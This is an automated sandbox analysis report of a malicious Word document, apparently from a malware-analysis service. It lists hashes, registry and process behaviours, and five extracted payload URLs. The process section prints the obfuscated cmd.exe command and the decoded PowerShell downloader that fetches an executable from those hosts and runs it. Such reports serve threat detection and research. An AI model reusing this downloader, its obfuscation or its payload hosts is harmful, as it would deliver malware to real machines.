Analysis
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max time kernel
100s -
max time network
124s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
02-06-2024 07:37
Behavioral task
behavioral1
Sample
8d53569ccbbc71c205c317c61843c045_JaffaCakes118.doc
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
8d53569ccbbc71c205c317c61843c045_JaffaCakes118.doc
Resource
win10v2004-20240426-en
General
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Target
8d53569ccbbc71c205c317c61843c045_JaffaCakes118.doc
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Size
137KB
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MD5
8d53569ccbbc71c205c317c61843c045
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SHA1
4a93a2bd46c95aa231f9207f7cf1a29028da68d8
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SHA256
f763d74e2db1ee98b4265c698c0c821c147bc9ab583b361338482e62ce291dd7
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SHA512
3f5b32ffce094a1d57f7a2c313d2177c1dcd743fc82cc2881b900e83444594a68541c237d46596bee3a2ad93eb0a2232ba02fbd0e1f70aee9cd705c5d5c5f99a
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SSDEEP
3072:A8GhDS0o9zTGOZD6EbzCd3WiWCAWcWvfxa:eoUOZDlbe3WiWCAWcWvfxa
Malware Config
Extracted
http://levifca.com/y0tYhnWQ
http://mfpvision.com/yAkPNiSmm6
http://haganelectronics.rubickdesigns.com/C96xSAAy2q
http://catairdrones.com/sMQ0n8nNun
http://radio312.com/mp0NHN4cHX
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3960 1116 cmd.exe 80 -
Blocklisted process makes network request 1 IoCs
flow pid Process 24 4684 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1116 WINWORD.EXE 1116 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4684 powershell.exe 4684 powershell.exe 4032 powershell.exe 4032 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4684 powershell.exe Token: SeDebugPrivilege 4032 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 1116 WINWORD.EXE 1116 WINWORD.EXE 1116 WINWORD.EXE 1116 WINWORD.EXE 1116 WINWORD.EXE 1116 WINWORD.EXE 1116 WINWORD.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1116 wrote to memory of 3960 1116 WINWORD.EXE 85 PID 1116 wrote to memory of 3960 1116 WINWORD.EXE 85 PID 3960 wrote to memory of 4684 3960 cmd.exe 91 PID 3960 wrote to memory of 4684 3960 cmd.exe 91 PID 4684 wrote to memory of 4032 4684 powershell.exe 92 PID 4684 wrote to memory of 4032 4684 powershell.exe 92
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8d53569ccbbc71c205c317c61843c045_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1116 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /V:O/C"set lj=;'afd'=dww$}}{hctac}};kaerb;'boU'=OFK$;vWd$ metI-ekovnI{ )00008 eg- htgnel.)vWd$ metI-teG(( fI;'fBW'=fSP$;)vWd$ ,abU$(eliFdaolnwoD.dam${yrt{)tdB$ ni abU$(hcaerof;'exe.'+Ihv$+'\'+pmet:vne$=vWd$;'BLv'=zqo$;'391' = Ihv$;'UDL'=DqS$;)'@'(tilpS.'XHc4NHN0pm/moc.213oidar//:ptth@nuNn8n0QMs/moc.senordriatac//:ptth@q2yAASx69C/moc.sngisedkcibur.scinortcelenagah//:ptth@6mmSiNPkAy/moc.noisivpfm//:ptth@QWnhYt0y/moc.acfivel//:ptth'=tdB$;tneilCbeW.teN tcejbo-wen=dam$;'kaF'=zYv$ llehsrewop&&for /L %9 in (475;-1;0)do set Yfw=!Yfw!!lj:~%9,1!&&if %9==0 powershell "!Yfw:*Yfw!=!" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3960 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "powershell $vYz='Fak';$mad=new-object Net.WebClient;$Bdt='http://levifca.com/y0tYhnWQ@http://mfpvision.com/yAkPNiSmm6@http://haganelectronics.rubickdesigns.com/C96xSAAy2q@http://catairdrones.com/sMQ0n8nNun@http://radio312.com/mp0NHN4cHX'.Split('@');$SqD='LDU';$vhI = '193';$oqz='vLB';$dWv=$env:temp+'\'+$vhI+'.exe';foreach($Uba in $Bdt){try{$mad.DownloadFile($Uba, $dWv);$PSf='WBf';If ((Get-Item $dWv).length -ge 80000) {Invoke-Item $dWv;$KFO='Uob';break;}}catch{}}$wwd='dfa';"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4684 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" =Fak4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4032
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
1KB
MD52f996b44e71bcf8e9d9bd5ef2a96a963
SHA161a10fcfb7bad1271f7132c7491982a916489af0
SHA25678d612ffa268c2871faf8e656889f9ec6475890ff2763410dbf434a343ad9a0d
SHA51284815d678a672aa99d4834fa4c0a42089bec36da593caabc337dc66180a8ebd0131e65fb68ba645d3d68e80a5e7808e0dcf5b0ff1cb2a46786d532b088b44515
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Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82